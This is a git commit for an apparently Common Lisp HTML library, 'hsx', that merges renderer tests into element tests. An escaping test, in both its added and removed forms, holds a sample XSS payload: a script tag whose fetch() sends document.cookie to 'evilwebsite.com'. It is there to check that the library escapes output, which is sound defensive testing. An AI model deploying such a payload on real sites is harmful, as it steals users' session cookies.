Integrate renderer tests into element tests

This commit is contained in:
paku 2024-06-06 14:36:32 +09:00
parent 88fe118335
commit 97139dca49
3 changed files with 120 additions and 100 deletions

View file

@ -7,12 +7,10 @@
"hsx-test/defhsx"
"hsx-test/hsx"
"hsx-test/escaper"
"hsx-test/renderer"
"hsx-test/group")
:test-names ((#:element-test . #:hsx-test/element)
(#:defhsx-test . #:hsx-test/defhsx)
(#:hsx-test . #:hsx-test/hsx)
(#:escaper-test . #:hsx-test/escaper)
(#:renderer-test . #:hsx-test/renderer)
(#:group-test . #:hsx-test/group))
:num-checks 42)

View file

@ -1,8 +1,13 @@
(defpackage #:hsx-test/element
(:use #:cl
#:fiveam
#:hsx/element))
#:fiveam
#:hsx/element)
(:import-from #:named-readtables
#:in-readtable)
(:import-from #:mstrings
#:mstring-syntax))
(in-package #:hsx-test/element)
(in-readtable mstring-syntax)
(def-suite element-test)
(in-suite element-test)
@ -23,6 +28,117 @@
(cons "d" "e")))))
(is (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
(test empty-element
(is (string= "<div></div>"
(render-to-string (create-element :div nil nil)))))
(test element-with-props
(is (string= "<div prop1=\"value1\" prop2></div>"
(render-to-string (create-element :div
(list :prop1 "value1"
:prop2 t
:prop3 nil)
nil)))))
(test element-with-children
(is (string= "<p>foo</p>"
(render-to-string (create-element :p
nil
(list "foo"))
:pretty t)))
(is (string= #M"<p>
\ <span>foo</span>
\</p>"
(render-to-string (create-element :p
nil
(list (create-element :span
nil
(list "foo"))))
:pretty t)))
(is (string= #M"<p>
\ foo
\ <span>bar</span>
\</p>"
(render-to-string (create-element :p
nil
(list "foo"
(create-element :span
nil
(list "bar"))))
:pretty t))))
(test element-with-props-and-children
(is (string= "<p prop1=\"value1\" prop2>foo</p>"
(render-to-string (create-element :p
(list :prop1 "value1"
:prop2 t
:prop3 nil)
(list "foo"))
:pretty t)))
(is (string= #M"<p prop1=\"value1\" prop2>
\ foo
\ <span>bar</span>
\</p>"
(render-to-string (create-element :p
(list :prop1 "value1"
:prop2 t
:prop3 nil)
(list "foo"
(create-element :span
nil
"bar")))
:pretty t))))
(test self-closing-tag
(is (string= "<img src=\"/background.png\">"
(render-to-string (create-element :img
(list :src "/background.png")
nil)
:pretty t))))
(test escaping-tag
(is (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string
(create-element :div
nil
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
(test non-escaping-tag
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string
(create-element :script
nil
"alert('<< Do not embed user-generated contents here! >>')")))))
(test fragment
(let ((frg (create-element :<>
nil
(list (create-element :li
nil
(list "bar"))
(create-element :li
nil
(list "baz"))))))
(is (string= #M"<li>bar</li>
<li>baz</li>"
(render-to-string frg :pretty t)))
(is (string= #M"<ul>
\ <li>foo</li>
\ <li>bar</li>
\ <li>baz</li>
\ <li>brah</li>
\</ul>"
(render-to-string (create-element :ul
nil
(list (create-element :li
nil
(list "foo"))
frg
(create-element :li
nil
(list "brah"))))
:pretty t)))))
(defun comp1 (&key prop children)
(create-element :div
nil
@ -31,8 +147,8 @@
(test component-accepting-keyword-args
(let ((elm (expand-component (create-element #'comp1
'(:prop "value")
(list "child")))))
'(:prop "value")
(list "child")))))
(is (eq :div (element-type elm)))
(is (equal (list "value" "child") (element-children elm)))))

View file

@ -1,94 +0,0 @@
(defpackage #:hsx-test/renderer
(:use #:cl
#:fiveam
#:named-readtables
#:hsx/builtin)
(:import-from #:mstrings)
(:import-from #:hsx/element
#:render-to-string))
(in-package :hsx-test/renderer)
(in-readtable mstrings:mstring-syntax)
(def-suite renderer-test)
(in-suite renderer-test)
(test empty-tag
(is (string= "<div></div>"
(render-to-string (div)))))
(test tag-with-props
(is (string= "<div prop1=\"value1\" prop2></div>"
(render-to-string
(div :prop1 "value1" :prop2 t :prop3 nil)))))
(test tag-with-children
(is (string= "<p>foo</p>"
(render-to-string (p "foo") :pretty t)))
(is (string= #M"<p>
\ <span>foo</span>
\</p>"
(render-to-string
(p
(span "foo"))
:pretty t)))
(is (string= #M"<p>
\ foo
\ <span>bar</span>
\</p>"
(render-to-string
(p
"foo"
(span "bar"))
:pretty t))))
(test tag-with-props-and-children
(is (string= "<p prop1=\"value1\" prop2>foo</p>"
(render-to-string
(p :prop1 "value1" :prop2 t :prop3 nil
"foo")
:pretty t)))
(is (string= #M"<p prop1=\"value1\" prop2>
\ foo
\ <span>bar</span>
\</p>"
(render-to-string
(p :prop1 "value1" :prop2 t :prop3 nil
"foo"
(span "bar"))
:pretty t))))
(test self-closing-tag
(is (string= "<img src=\"/background.png\">"
(render-to-string
(img :src "/background.png")
:pretty t))))
(test escaping-tag
(is (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
(test non-escaping-tag
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string
(script "alert('<< Do not embed user-generated contents here! >>')")))))
(test fragment
(let ((frg (<>
(li "bar")
(li "baz"))))
(is (string= #M"<li>bar</li>
<li>baz</li>"
(render-to-string frg :pretty t)))
(is (string= #M"<ul>
\ <li>foo</li>
\ <li>bar</li>
\ <li>baz</li>
\ <li>brah</li>
\</ul>"
(render-to-string
(ul
(li "foo")
frg
(li "brah"))
:pretty t)))))